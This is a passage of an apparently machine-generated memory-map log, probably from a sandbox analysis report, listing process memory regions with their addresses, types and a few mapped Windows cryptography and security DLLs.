filename = "" Region: id = 3945 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3946 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3947 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3948 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3949 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3950 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3951 start_va = 0x7ffb1c150000 end_va = 0x7ffb1c166fff monitored = 0 entry_point = 0x7ffb1c1579d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3952 start_va = 0x7ffb1bde0000 end_va = 0x7ffb1be13fff monitored = 0 entry_point = 0x7ffb1bdfae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3953 start_va = 0x7ffb1c270000 end_va = 0x7ffb1c27afff monitored = 0 entry_point = 0x7ffb1c2719a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3954 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3955 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3956 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3957 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3958 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3959 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3960 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3961 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3962 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3963 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3964 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3965 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3966 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3967 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3968 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3969 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3970 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3971 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3972 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3973 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3974 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3975 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3976 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3977 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3978 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3979 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3980 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3981 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3982 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3983 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3984 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3985 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3986 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3987 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3988 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3989 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3990 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3991 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3992 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3993 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3994 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3995 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3996 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3997 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 3998 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3999 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4000 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4001 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4002 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4003 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4004 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 4005 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 4006 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4007 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4008 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4009 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4010 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4011 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 4012 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4013 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4014 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 4015 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 4016 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4017 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4018 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 4019 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4020 start_va = 0x870000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 4021 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 4022 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4023 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4024 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4025 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4026 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4027 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4028 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 4029 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4030 start_va = 0x1ad40000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4031 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4032 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4033 start_va = 0x850000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 4034 start_va = 0x860000 end_va = 0x874fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 4035 start_va = 0x7ffaa2cc0000 end_va = 0x7ffaa2ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cc0000" filename = "" Region: id = 4036 start_va = 0x7ffb03270000 end_va = 0x7ffb0335cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\e629af2f8417209404342bf320b481bf\\System.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.security\\e629af2f8417209404342bf320b481bf\\system.security.ni.dll") Region: id = 4037 start_va = 0x7ffaa2cd0000 end_va = 0x7ffaa2cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cd0000" filename = "" Region: id = 4038 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 4039 start_va = 0x8a0000 end_va = 0x8a9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 4040 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4041 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4042 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4043 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4044 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4045 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4046 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4047 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4048 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4049 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4050 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4051 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4052 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4053 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4054 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4055 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4056 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4057 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4058 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4059 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4060 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4061 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4062 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4063 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4064 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4065 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4066 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4067 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4068 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4069 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4070 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4071 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4072 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4073 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4074 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4075 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4076 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 4077 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4078 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4079 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4080 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4081 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4082 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4083 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4084 start_va = 0x1ac00000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 4085 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4086 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4087 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4088 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4089 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4090 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4091 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4092 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4093 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4094 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4095 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4096 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4097 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4098 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4099 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4100 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4101 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4102 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4103 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4104 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4105 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4106 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4107 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4108 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4109 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4110 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4111 start_va = 0x8d0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4112 start_va = 0x8e0000 end_va = 0x8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 4113 start_va = 0x8d0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 4114 start_va = 0x7ffaa2ce0000 end_va = 0x7ffaa2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ce0000" filename = "" Region: id = 4115 start_va = 0x7ffaa2cf0000 end_va = 0x7ffaa2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2cf0000" filename = "" Region: id = 4116 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 4117 start_va = 0x1b2c0000 end_va = 0x1b3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4118 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4119 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4120 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4121 start_va = 0x1ac00000 end_va = 0x1ac04fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac00000" filename = "" Region: id = 4122 start_va = 0x7ffaa2d00000 end_va = 0x7ffaa2d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d00000" filename = "" Region: id = 4123 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4124 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4125 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4126 start_va = 0x1ac10000 end_va = 0x1ac1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 4127 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4128 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4129 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4130 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 4131 start_va = 0x1ad50000 end_va = 0x1ad5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 4132 start_va = 0x1ad60000 end_va = 0x1ad6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad60000" filename = "" Region: id = 4133 start_va = 0x1ac20000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac20000" filename = "" Region: id = 4134 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4135 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4136 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4137 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4138 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4139 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4140 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 4141 start_va = 0x1abe0000 end_va = 0x1abeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abe0000" filename = "" Region: id = 4142 start_va = 0x1abf0000 end_va = 0x1abfffff monitored = 1 